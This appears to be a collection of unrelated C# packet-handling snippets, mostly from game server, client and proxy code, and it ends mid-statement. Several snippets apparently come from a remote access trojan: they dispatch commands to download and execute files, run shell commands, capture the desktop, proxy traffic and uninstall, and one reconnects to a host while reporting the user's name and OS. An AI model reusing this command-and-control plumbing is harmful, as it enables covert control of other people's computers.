public static void EncryptionKeyRequest(MinecraftClient client, IPacket _packet) { var packet = (EncryptionKeyRequestPacket)_packet; var random = RandomNumberGenerator.Create(); client.SharedSecret = new byte[16]; random.GetBytes(client.SharedSecret); // Generate a secure AES key if (packet.ServerId != "-") // Online mode { // Authenticate with minecraft.net var data = Encoding.ASCII.GetBytes(packet.ServerId) .Concat(client.SharedSecret) .Concat(packet.PublicKey).ToArray(); var hash = Cryptography.JavaHexDigest(data); var webClient = new WebClient(); string result = webClient.DownloadString("http://session.minecraft.net/game/joinserver.jsp?user="******"&sessionId=" + Uri.EscapeUriString(client.Session.SessionId) + "&serverId=" + Uri.EscapeUriString(hash)); if (result != "OK") LogProvider.Log("Unable to verify session: " + result); } var parser = new AsnKeyParser(packet.PublicKey); var key = parser.ParseRSAPublicKey(); // Encrypt shared secret and verification token var crypto = new RSACryptoServiceProvider(); crypto.ImportParameters(key); var encryptedSharedSecret = crypto.Encrypt(client.SharedSecret, false); var encryptedVerification = crypto.Encrypt(packet.VerificationToken, false); var response = new EncryptionKeyResponsePacket(encryptedSharedSecret, encryptedVerification); client.SendPacket(response); }
public void Dispatch(ISession session, IPacket packet) { BinaryReader reader = packet.CreateReader(); var type = (MessageType) reader.ReadUInt32(); uint language = reader.ReadUInt32(); string channel = type == MessageType.Channel || type == MessageType.Whisper ? reader.ReadCString() : string.Empty; string message = reader.ReadCString(); var pkt = WorldPacketFactory.Create(WMSG.SMSG_MESSAGECHAT); var writer = pkt.CreateWriter(); writer.Write((byte)type); writer.Write((uint)0); writer.Write(session.Player.Guid); writer.Write(0); /* if (target != null) writer.WritePascalString(target); */ writer.Write((ulong)0); writer.WritePascalString(message); writer.Write((byte)0); var players = ObjectManager.GetPlayersNear(session.Player); foreach (var player in players) { player.Session.Send(pkt); } Console.WriteLine("{0} {1} {2} {3}", type, language, channel, message); }
public void Dispatch(ISession session, IPacket packet) { var reader = packet.CreateReader(); var guid = reader.ReadUInt64(); var questId = reader.ReadUInt32(); var a = reader.ReadByte(); }
public static void ChatMessage(MinecraftClient client, IPacket _packet) { var packet = (ChatMessagePacket)_packet; LogProvider.Log(packet.Message, LogImportance.High); client.OnChatMessage(new ChatMessageEventArgs(packet.Message, RemoveChatCodes(packet.Message))); }
public static void HandleLoginRequestPacket(IPacket packet, IRemoteClient client, IMultiplayerServer server) { var loginRequestPacket = (LoginRequestPacket)packet; var remoteClient = (RemoteClient)client; if (loginRequestPacket.ProtocolVersion < server.PacketReader.ProtocolVersion) remoteClient.QueuePacket(new DisconnectPacket("Client outdated! Use beta 1.7.3.")); else if (loginRequestPacket.ProtocolVersion > server.PacketReader.ProtocolVersion) remoteClient.QueuePacket(new DisconnectPacket("Server outdated! Use beta 1.7.3.")); else if (server.Worlds.Count == 0) remoteClient.QueuePacket(new DisconnectPacket("Server has no worlds configured.")); else if (!server.PlayerIsWhitelisted(remoteClient.Username) && server.PlayerIsBlacklisted(remoteClient.Username)) remoteClient.QueuePacket(new DisconnectPacket("You're banned from this server")); else if (server.Clients.Count(c => c.Username == client.Username) > 1) remoteClient.QueuePacket(new DisconnectPacket("The player with this username is already logged in")); else { remoteClient.LoggedIn = true; remoteClient.Entity = new PlayerEntity(remoteClient.Username); remoteClient.World = server.Worlds[0]; remoteClient.ChunkRadius = 2; if (!remoteClient.Load()) remoteClient.Entity.Position = remoteClient.World.SpawnPoint; // Make sure they don't spawn in the ground var collision = new Func<bool>(() => { var feet = client.World.GetBlockID((Coordinates3D)client.Entity.Position); var head = client.World.GetBlockID((Coordinates3D)(client.Entity.Position + Vector3.Up)); var feetBox = server.BlockRepository.GetBlockProvider(feet).BoundingBox; var headBox = server.BlockRepository.GetBlockProvider(head).BoundingBox; return feetBox != null || headBox != null; }); while (collision()) client.Entity.Position += Vector3.Up; // Send setup packets remoteClient.QueuePacket(new LoginResponsePacket(0, 0, Dimension.Overworld)); remoteClient.UpdateChunks(); remoteClient.QueuePacket(new WindowItemsPacket(0, remoteClient.Inventory.GetSlots())); remoteClient.QueuePacket(new SpawnPositionPacket((int)remoteClient.Entity.Position.X, (int)remoteClient.Entity.Position.Y, (int)remoteClient.Entity.Position.Z)); remoteClient.QueuePacket(new SetPlayerPositionPacket(remoteClient.Entity.Position.X, remoteClient.Entity.Position.Y + 1, remoteClient.Entity.Position.Y + remoteClient.Entity.Size.Height + 1, remoteClient.Entity.Position.Z, remoteClient.Entity.Yaw, remoteClient.Entity.Pitch, true)); remoteClient.QueuePacket(new TimeUpdatePacket(remoteClient.World.Time)); // Start housekeeping for this client var entityManager = server.GetEntityManagerForWorld(remoteClient.World); entityManager.SpawnEntity(remoteClient.Entity); entityManager.SendEntitiesToClient(remoteClient); server.Scheduler.ScheduleEvent("remote.keepalive", remoteClient, TimeSpan.FromSeconds(10), remoteClient.SendKeepAlive); server.Scheduler.ScheduleEvent("remote.chunks", remoteClient, TimeSpan.FromSeconds(1), remoteClient.ExpandChunkRadius); if (!string.IsNullOrEmpty(Program.ServerConfiguration.MOTD)) remoteClient.SendMessage(Program.ServerConfiguration.MOTD); if (!Program.ServerConfiguration.Singleplayer) server.SendMessage(ChatColor.Yellow + "{0} joined the server.", remoteClient.Username); } }
public static void HandleCommand(Client client, IPacket packet) { var type = packet.GetType(); if (type == typeof (ReverseProxyConnect)) { client.ConnectReverseProxy((ReverseProxyConnect) packet); } else if (type == typeof (ReverseProxyData)) { ReverseProxyData dataCommand = (ReverseProxyData)packet; ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId); if (proxyClient != null) { proxyClient.SendToTargetServer(dataCommand.Data); } } else if (type == typeof (ReverseProxyDisconnect)) { ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet; ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId); if (socksClient != null) { socksClient.Disconnect(); } } }
public static void EntityAction(MinecraftClient client, MinecraftServer server, IPacket _packet) { var packet = (EntityActionPacket)_packet; switch (packet.Action) { case EntityActionPacket.EntityAction.Crouch: client.Entity.IsCrouching = true; break; case EntityActionPacket.EntityAction.Uncrouch: client.Entity.IsCrouching = false; break; case EntityActionPacket.EntityAction.StartSprinting: client.Entity.IsSprinting = true; break; case EntityActionPacket.EntityAction.StopSprinting: client.Entity.IsSprinting = false; break; case EntityActionPacket.EntityAction.LeaveBed: client.Entity.LeaveBed(); break; } if (packet.Action != EntityActionPacket.EntityAction.LeaveBed) // NOTE: Does this matter? { // TODO ? } }
public static void Animation(MinecraftClient client, MinecraftServer server, IPacket _packet) { var packet = (AnimationPacket)_packet; var clients = server.EntityManager.GetKnownClients(client.Entity); foreach (var _client in clients) _client.SendPacket(packet); }
public static void HandleHandshakePacket(IPacket packet, IRemoteClient client, IMultiplayerServer server) { var handshakePacket = (HandshakePacket) packet; var remoteClient = (RemoteClient)client; remoteClient.Username = handshakePacket.Username; remoteClient.QueuePacket(new HandshakeResponsePacket("-")); // TODO: Implement some form of authentication }
public static void EncryptionKeyResponse(MinecraftClient client, IPacket _packet) { // Enable encryption client.Stream = new MinecraftStream(new AesStream(new BufferedStream(client.NetworkStream), client.SharedSecret)); client.SendPacket(new ClientStatusPacket(ClientStatusPacket.ClientStatus.InitialSpawn)); LogProvider.Log("Logged in."); }
public void Dispatch(ISession client, IPacket packet) { client.Player.StandState = StandStates.Sitting; client.SendLogoutResponce(); client.LogOut(); client.SendLogoutComplete(); }
public static void HandleLoginRequestPacket(CoCRemoteClient client, CoCServer server, IPacket packet) { client.Seed = ((LoginRequestPacket)packet).Seed; client.QueuePacket(new UpdateKeyPacket() { Key = new byte[] { 23, 32, 45, 13, 54, 43 } }); client.QueuePacket(new LoginSuccessPacket() { UserID = 12312332, UserToken = "SOMETOKEN", ServerEnvironment = "prod", DateJoined = "123123", DateLastPlayed = "123123", FacebookAppID = "asdasd", FacebookID = "asdasd", GameCenterID = "asdasd", GooglePlusID = "asdasdsdad", LoginCount = 69, MajorVersion = 7, MinorVersion = 156, PlayTime = new TimeSpan(0, 0, 0), RevisionVersion = 0, CountryCode = "MU" }); }
public static void Handshake(MinecraftClient client, MinecraftServer server, IPacket _packet) { var packet = (HandshakePacket)_packet; if (packet.ProtocolVersion < PacketReader.ProtocolVersion) { client.SendPacket(new DisconnectPacket("Outdated client!")); return; } if (packet.ProtocolVersion > PacketReader.ProtocolVersion) { client.SendPacket(new DisconnectPacket("Outdated server!")); return; } if (server.Clients.Any(c => c.Username == packet.Username)) { client.SendPacket(new DisconnectPacket("")); return; } client.Username = packet.Username; client.Hostname = packet.ServerHostname + ":" + packet.ServerPort; if (server.Settings.OnlineMode) client.AuthenticationHash = CreateHash(); else client.AuthenticationHash = "-"; if (server.Settings.EnableEncryption) client.SendPacket(CreateEncryptionRequest(client, server)); else server.LogInPlayer(client); }
public static byte[] CreateData(IPacket packet) { if (packet == null) throw new ArgumentNullException("packet"); var content = packet.GetContent(); var idLengthContent = new byte[content.Length + PacketIdFieldWidth + ContentLengthFieldWidth]; idLengthContent[0] = (byte)packet.Id; var contentLength = BitConverter.GetBytes(content.Length); idLengthContent[1] = contentLength[0]; // Not in the mood for a for loop idLengthContent[2] = contentLength[1]; idLengthContent[3] = contentLength[2]; idLengthContent[4] = contentLength[3]; for (int i = (PacketIdFieldWidth + ContentLengthFieldWidth); i < idLengthContent.Length; ++i) idLengthContent[i] = content[i - (PacketIdFieldWidth + ContentLengthFieldWidth)]; byte[] checksum; using (var provider = new Crc32()) checksum = provider.ComputeHash(idLengthContent, 0, idLengthContent.Length); using (var ms = new MemoryStream()) { ms.Write(checksum, 0, ChecksumWidth); ms.Write(idLengthContent, 0, idLengthContent.Length); return ms.ToArray(); } }
public static void HandleUpdateKeyPacket(CoCProxy proxyServer, CoCProxyClient client, IPacket packet) { var ukPacket = packet as UpdateKeyPacket; client.Client.NetworkManager.UpdateCiphers((ulong)client.Client.Seed, ukPacket.Key); client.Server.NetworkManager.UpdateCiphers((ulong)client.Client.Seed, ukPacket.Key); }
public PacketId GetPacketId(IPacket pck) { PacketId id; if (!TypeToId.TryGetValue(pck.GetType(), out id)) throw new InvalidOperationException("Packet type is missing packet id: " + pck.GetType().FullName); return id; }
public void Dispatch(ISession session, IPacket packet) { BinaryReader reader = packet.CreateReader(); int guildId = reader.ReadInt32(); var guild = new Guild { Id = guildId, Name = "guild" }; IPacketBuilder responce = WorldPacketFactory.Build( WMSG.SMSG_GUILD_QUERY_RESPONSE, writer => { writer.Write(guild.Id); writer.WriteCString(guild.Name); foreach (GuildRank rank in guild.Ranks) writer.WriteCString(rank.Name); for (int i = 0; i < 10 - guild.Ranks.Count; i++) writer.WriteCString(string.Empty); writer.Write(guild.Tabard.EmblemStyle); writer.Write(guild.Tabard.EmblemColor); writer.Write(guild.Tabard.BorderStyle); writer.Write(guild.Tabard.BorderColor); writer.Write(guild.Tabard.BackgroundColor); writer.Write(0); // NEW 3.0.2 }); session.Send(responce); }
public static void PlayerLook(RemoteClient client, MinecraftServer server, IPacket _packet) { var packet = (PlayerLookPacket)_packet; client.Entity.Pitch = packet.Pitch; client.Entity.Yaw = packet.Yaw; client.Entity.HeadYaw = packet.Yaw; }
public override void SendPacket(IPacket packet, IInterfaceView from) { if (packet == null) throw new ArgumentNullException (); if (from == null) throw new ArgumentNullException (); if (!this.endpoints.Contains (from)) throw new ArgumentException (); var endpoint_index = packet.Data [0]; if (endpoint_index >= this.EndPointsCount) return; this.State = StateMock.BUSY; this.clock.RegisterActionAtTime (MathHelper.CalculateTime (packet.Data.Length, this.Speed), () => { this.State = StateMock.FREE; this.OnTransmit (this, packet); this.endpoints [endpoint_index].ReceivePacket ( packet); }); }
public static void KeepAlive(MinecraftClient client, MinecraftServer server, IPacket _packet) { var packet = (KeepAlivePacket)_packet; // TODO: Confirm value validity client.LastKeepAlive = DateTime.Now; client.Ping = (short)(client.LastKeepAlive - client.LastKeepAliveSent).TotalMilliseconds; }
public void Process(IPacket packet) { switch((RMSG)packet.Code) { case RMSG.AUTH_LOGON_CHALLENGE: case RMSG.AUTH_LOGON_RECODE_CHALLENGE: HandleLogonChallenge(packet); break; case RMSG.AUTH_LOGON_PROOF: case RMSG.AUTH_LOGON_RECODE_PROOF: HandleLogonProof(packet); break; case RMSG.REALM_LIST: HandleRealmList(); break; case RMSG.XFER_ACCEPT: HandleXferAccept(); break; case RMSG.XFER_RESUME: HandleXferResume(packet); break; case RMSG.XFER_CANCEL: HandleXferCancel(); break; } }
private void OnReadPacket(IPacket packet) { Contract.Requires<ArgumentNullException>(packet != null, "packet cannot be null"); CommonDelegates.ReadPacketEventDelegate handler = OnReadPacketEvent; if (handler != null) handler(this.headersWithInterface.Last(), packet); }
public void WritePacket(IPacket packet) { try { uint secs = (uint)packet.Seconds; uint usecs = (uint)packet.Microseconds; if (header.NanoSecondResolution) usecs = usecs * 1000; uint caplen = (uint)packet.Data.Length; uint len = (uint)packet.Data.Length; byte[] data = packet.Data; List<byte> ret = new List<byte>(); ret.AddRange(BitConverter.GetBytes(secs.ReverseByteOrder(header.ReverseByteOrder))); ret.AddRange(BitConverter.GetBytes(usecs.ReverseByteOrder(header.ReverseByteOrder))); ret.AddRange(BitConverter.GetBytes(caplen.ReverseByteOrder(header.ReverseByteOrder))); ret.AddRange(BitConverter.GetBytes(len.ReverseByteOrder(header.ReverseByteOrder))); ret.AddRange(data); if (ret.Count > header.MaximumCaptureLength) throw new ArgumentOutOfRangeException(string.Format("[PcapWriter.WritePacket] packet length: {0} is greater than MaximumCaptureLength: {1}", ret.Count, header.MaximumCaptureLength)); lock (syncRoot) { binaryWriter.Write(ret.ToArray()); } } catch (Exception exc) { OnException(exc); } }
public void Dispatch(ISession session, IPacket packet) { BinaryReader r = packet.CreateReader(); uint unk1 = r.ReadUInt32(); session.SendRealmSplitPkt(unk1); }
public static void ClientStatus(MinecraftClient client, MinecraftServer server, IPacket _packet) { var packet = (ClientStatusPacket)_packet; if (packet.Status == ClientStatusPacket.ClientStatus.InitialSpawn) { // Create a hash for session verification SHA1 sha1 = SHA1.Create(); AsnKeyBuilder.AsnMessage encodedKey = AsnKeyBuilder.PublicKeyToX509(server.ServerKey); byte[] shaData = Encoding.UTF8.GetBytes(client.AuthenticationHash) .Concat(client.SharedKey) .Concat(encodedKey.GetBytes()).ToArray(); string hash = Cryptography.JavaHexDigest(shaData); // Talk to session.minecraft.net if (server.Settings.OnlineMode) { var webClient = new WebClient(); var webReader = new StreamReader(webClient.OpenRead( new Uri(string.Format(sessionCheckUri, client.Username, hash)))); string response = webReader.ReadToEnd(); webReader.Close(); if (response != "YES") { client.SendPacket(new DisconnectPacket("Failed to verify username!")); return; } } server.LogInPlayer(client); } else if (packet.Status == ClientStatusPacket.ClientStatus.Respawn) { // TODO } }
public IAckPacket SendMessage(IPacket packet) { var packetBytes = packet.GetBytes(); var responseBytes = _crazyradioDriver.SendData(packetBytes); return new AckPacket(responseBytes); }
public static void BlockChange(MinecraftClient client, IPacket _packet) { var packet = (BlockChangePacket)_packet; var position = new Coordinates3D(packet.X, packet.Y, packet.Z); client.World.SetBlockId(position, (short)packet.BlockType); client.World.SetMetadata(position, packet.BlockMetadata); }
public void Dispatch(ISession session, IPacket packet) { BinaryReader reader = packet.CreateReader(); byte castCount = reader.ReadByte(); uint spellId = reader.ReadUInt32(); byte unklags = reader.ReadByte(); IPacket pkt = WorldPacketFactory.Create(WMSG.SMSG_SPELL_START); BinaryWriter writer = pkt.CreateWriter(); writer.WritePackGuid(session.Player.Guid); writer.WritePackGuid(session.Player.Guid); writer.Write(castCount); writer.Write(spellId); writer.Write(0); //cast flags writer.Write(0); //ticks count writer.Write(0); //targetflags session.Send(pkt); Thread.Sleep(5000); pkt = WorldPacketFactory.Create(WMSG.SMSG_SPELL_GO); writer = pkt.CreateWriter(); writer.WritePackGuid(session.Player.Guid); writer.WritePackGuid(session.Player.Guid); writer.Write(castCount); writer.Write(spellId); writer.Write(0); //cast flags writer.Write(0); //ticks count writer.Write((byte)1); //hit count writer.Write(session.Player.Guid); writer.Write((byte)0); //miss count writer.Write(0); // targetflags session.Send(pkt); }
public async Task SendPacket(IPacket packet, Stream netStream) { var ms = new MemoryStream(); var bw = new BinaryWriter(ms); if (packet is IAutoSerializePacket) (packet as IAutoSerializePacket).AutoSerialize(bw); else { bw.Write(packet.ID); packet.SerializePacket(bw); } bw.Flush(); // Copy ms -> redirect writer to new ms -> prepend packet size prefix -> append packet paylod FinalizePacket(ref bw); ms.Dispose(); // Dispose of expired ms, writer's basestream is created in FinalizePacket ms = bw.BaseStream as MemoryStream; // this here failed? ye wait a moment await netStream.WriteAsync(ms.ToArray(), 0, (int)ms.Length); if (OnPacketSent != null) OnPacketSent(null, new PacketEventArgs(null, packet, (int)ms.Length)); ms.Dispose(); bw.Dispose(); }
public static void HandleOwnHomeDataPacket(CoCProxy proxyServer, CoCProxyClient client, IPacket packet) { var ohPacket = packet as OwnHomeDataPacket; client.Client.Username = ohPacket.Avatar.Username; client.Client.UserID = ohPacket.UserID; client.Client.Home = ohPacket.Home; }
public void SendPacket(IPacket data) => SendPacket(data.GetPacket().ToArray());
/// <summary> /// Reads the next 32 bits from the packet as a <see cref="uint"/> and advances the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The value of the next 32 bits.</returns> public static uint ReadUInt32(this IPacket packet) { return((uint)packet.ReadBits(32)); }
/// <summary> /// Reads the next 16 bits from the packet as a <see cref="short"/> and advances the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The value of the next 16 bits.</returns> public static short ReadInt16(this IPacket packet) { return((short)packet.ReadBits(16)); }
/// <summary> /// Reads the next byte from the packet and advances the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The byte read from the packet.</returns> public static byte ReadByte(this IPacket packet) { return((byte)packet.ReadBits(8)); }
/// <summary> /// Reads the next byte from the packet. Does not advance the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The byte read from the packet.</returns> public static byte PeekByte(this IPacket packet) { return((byte)packet.TryPeekBits(8, out _)); }
/// <summary> /// Reads one bit from the packet and advances the read position. /// </summary> /// <returns><see langword="true"/> if the bit was a one, otehrwise <see langword="false"/>.</returns> public static bool ReadBit(this IPacket packet) { return(packet.ReadBits(1) == 1); }
/// <summary> /// Advances the position counter by the specified number of bytes. /// </summary> /// <param name="packet"></param> /// <param name="count">The number of bytes to advance.</param> public static void SkipBytes(this IPacket packet, int count) { packet.SkipBits(count * 8); }
/// <summary> /// Reads the next 64 bits from the packet as a <see cref="ulong"/> and advances the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The value of the next 64 bits.</returns> public static ulong ReadUInt64(this IPacket packet) { return(packet.ReadBits(64)); }
internal PacketReceivedEventArgs(Client client, IPacket receivedPacket) : base(client, receivedPacket) { }
/// <summary> /// Reads the next 64 bits from the packet as a <see cref="long"/> and advances the position counter. /// </summary> /// <param name="packet"></param> /// <returns>The value of the next 64 bits.</returns> public static long ReadInt64(this IPacket packet) { return((long)packet.ReadBits(64)); }
public LatencyPingResponseModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget) { }
/// <summary> /// Read incoming headers /// </summary> public static void ReceiveHeader() { while (true) { while (IsConnected) { try { byte[] header = ReceiveData(4); if (header.Length != 4) { IsConnected = false; break; } else { int packetSize = BitConverter.ToInt32(header, 0); if (packetSize > 0) { Debug.WriteLine($"Client: packet size is {packetSize}"); byte[] payload = ReceiveData(packetSize); if (payload.Length != packetSize) { IsConnected = false; break; } else { IPacket packet = Desirialize.PacketDesirialize(payload); Debug.WriteLine($"Client: packet received is {packet.GetType().Name}"); new Thread(delegate() { new ReadPacket(packet); }).Start(); } } } } catch (SocketException se) { Debug.WriteLine(se.SocketErrorCode); IsConnected = false; break; } catch (Exception ex) { Debug.WriteLine(ex.Message); IsConnected = false; break; } } while (!IsConnected) { try { Thread.Sleep(2000); Socket?.Dispose(); KeepAlivePacket?.Dispose(); Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1000, SendBufferSize = 50 * 1000, }; Socket.Connect(Configuration.Host, Configuration.Port); IsConnected = true; Send(new PacketIdentification() { Type = ClientType.PC, Username = Environment.UserName, OperatingSystem = new ComputerInfo().OSFullName, ID = Configuration.Id, }); KeepAlivePacket = new Timer(Ping, null, new Random().Next(5000, 30000), new Random().Next(5000, 30000)); //random interval } catch (SocketException se) { Debug.WriteLine(se.SocketErrorCode); } catch (Exception ex) { Debug.WriteLine(ex.Message); } } } }
public async Task SendAsync(IPacket message) { await MessageHandler.SendAsync(message); }
private void ReceiveHandler(InternalSecureSocketConnectedClient client, IPacket data) { _callbacks.Handle(client, data); }
void INetResponder.SendResponse(IPacket packet) { Client.SendPacket(packet, PacketDeliveryMethod.ReliableOrdered); }
static void ClientRead(Core.Client client, IPacket packet) { Type type = packet.GetType(); if (type == typeof(Core.Packets.ServerPackets.InitializeCommand)) { CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute)) { CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Disconnect)) { SystemCore.Disconnect = true; client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Reconnect)) { client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Uninstall)) { CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Desktop)) { CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetProcesses)) { CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.KillProcess)) { CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.StartProcess)) { CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Drives)) { CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Directory)) { CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadFile)) { CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.MouseClick)) { CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo)) { CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite)) { CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox)) { CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Update)) { CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Monitors)) { CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShellCommand)) { CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Rename)) { CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Delete)) { CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Action)) { CommandHandler.HandleAction((Core.Packets.ServerPackets.Action)packet, client); } }
public void RegisterPacketHandler(IPacket packet, PacketHandler handler) { PacketHandlers.Add(packet.ID, handler); }
/// <summary> /// Serializes a packet /// </summary> /// <param name="packet"></param> /// <returns></returns> public static byte[] Serialize(IPacket packet) => throw new NotImplementedException();
public NewConsoleMessageModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget) { }
public FurnitureAliasesModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget) { }
public void Dispatch(ISession session, IPacket packet) { ulong guid = packet.CreateReader().ReadUInt64(); session.Player.BankBags.BuySlot(); }
public static void RegisterPacket(IPacket packet) { _packets.Add(packet.Id, packet); }
//public int GetValue { get; set; } public void AppendToPacket(IPacket packet) { }
public ExtendedProfileModifier(ClientConnection connection, IPacket packetOriginal, Release releaseFrom, Release releaseTarget) : base(connection, packetOriginal, releaseFrom, releaseTarget) { }
public void HandlePacket(IPacket pkt) { if (!(pkt is ObjectUpdatePacket)) { FLLog.Debug("Client", "Got packet of type " + pkt.GetType()); } switch (pkt) { case CallThornPacket ct: RunSync(() => { var thn = new ThnScript(Game.GameData.ResolveDataPath(ct.Thorn)); gp.Thn = new Cutscene(new ThnScript[] { thn }, gp); }); break; case UpdateRTCPacket rtc: AddRTC(rtc.RTCs); break; case MsnDialogPacket msndlg: RunSync(() => { RunDialog(msndlg.Lines); }); break; case PlaySoundPacket psnd: PlaySound(psnd.Sound); break; case PlayMusicPacket mus: PlayMusic(mus.Music); break; case SpawnPlayerPacket p: PlayerBase = null; PlayerSystem = p.System; PlayerPosition = p.Position; PlayerOrientation = Matrix4x4.CreateFromQuaternion(p.Orientation); SetSelfLoadout(p.Ship); SceneChangeRequired(); break; case BaseEnterPacket b: PlayerBase = b.Base; SetSelfLoadout(b.Ship); SceneChangeRequired(); AddRTC(b.RTCs); break; case SpawnSolarPacket solar: RunSync(() => { foreach (var si in solar.Solars) { if (!objects.ContainsKey(si.ID)) { var arch = Game.GameData.GetSolarArchetype(si.Archetype); var go = new GameObject(arch, Game.ResourceManager, true); go.StaticPosition = si.Position; go.Transform = Matrix4x4.CreateFromQuaternion(si.Orientation) * Matrix4x4.CreateTranslation(si.Position); go.Nickname = $"$Solar{si.ID}"; go.World = gp.world; go.Register(go.World.Physics); go.CollisionGroups = arch.CollisionGroups; FLLog.Debug("Client", $"Spawning object {si.ID}"); gp.world.Objects.Add(go); objects.Add(si.ID, go); } } }); break; case DestroyPartPacket p: RunSync(() => { objects[p.ID].DisableCmpPart(p.PartName); }); break; case SpawnDebrisPacket p: RunSync(() => { var arch = Game.GameData.GetSolarArchetype(p.Archetype); var mdl = ((IRigidModelFile)arch.ModelFile.LoadFile(Game.ResourceManager)).CreateRigidModel(true); var newpart = mdl.Parts[p.Part].Clone(); var newmodel = new RigidModel() { Root = newpart, AllParts = new[] { newpart }, MaterialAnims = mdl.MaterialAnims, Path = mdl.Path, }; var go = new GameObject($"debris{p.ID}", newmodel, Game.ResourceManager, p.Part, p.Mass, true); go.Transform = Matrix4x4.CreateFromQuaternion(p.Orientation) * Matrix4x4.CreateTranslation(p.Position); go.World = gp.world; go.Register(go.World.Physics); gp.world.Objects.Add(go); objects.Add(p.ID, go); }); break; case SpawnObjectPacket p: RunSync(() => { var shp = Game.GameData.GetShip((int)p.Loadout.ShipCRC); //Set up player object + camera var newobj = new GameObject(shp, Game.ResourceManager); newobj.Name = "NetPlayer " + p.ID; newobj.Transform = Matrix4x4.CreateFromQuaternion(p.Orientation) * Matrix4x4.CreateTranslation(p.Position); if (connection is GameNetClient) { newobj.Components.Add(new CNetPositionComponent(newobj)); } objects.Add(p.ID, newobj); gp.world.Objects.Add(newobj); }); break; case ObjectUpdatePacket p: RunSync(() => { foreach (var update in p.Updates) { UpdateObject(p.Tick, update); } }); break; case DespawnObjectPacket p: RunSync(() => { var despawn = objects[p.ID]; gp.world.Objects.Remove(despawn); objects.Remove(p.ID); }); break; default: if (ExtraPackets != null) { ExtraPackets(pkt); } else { FLLog.Error("Network", "Unknown packet type " + pkt.GetType().ToString()); } break; } }
public static void HandlePacket(Client client, IPacket packet) { if (client == null || client.Value == null) { return; } var type = packet.GetType(); if (type == typeof(ClientPackets.SetStatus)) { CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet); } else if (type == typeof(ClientPackets.SetUserStatus)) { CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet); } else if (type == typeof(ClientPackets.GetDesktopResponse)) { CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet); } else if (type == typeof(ClientPackets.GetProcessesResponse)) { CommandHandler.HandleGetProcessesResponse(client, (ClientPackets.GetProcessesResponse)packet); } else if (type == typeof(ClientPackets.GetDrivesResponse)) { CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet); } else if (type == typeof(ClientPackets.GetDirectoryResponse)) { CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet); } else if (type == typeof(ClientPackets.DoDownloadFileResponse)) { CommandHandler.HandleDoDownloadFileResponse(client, (ClientPackets.DoDownloadFileResponse)packet); } else if (type == typeof(ClientPackets.GetSystemInfoResponse)) { CommandHandler.HandleGetSystemInfoResponse(client, (ClientPackets.GetSystemInfoResponse)packet); } else if (type == typeof(ClientPackets.GetMonitorsResponse)) { CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet); } else if (type == typeof(ClientPackets.GetWebcamsResponse)) { CommandHandler.HandleGetWebcamsResponse(client, 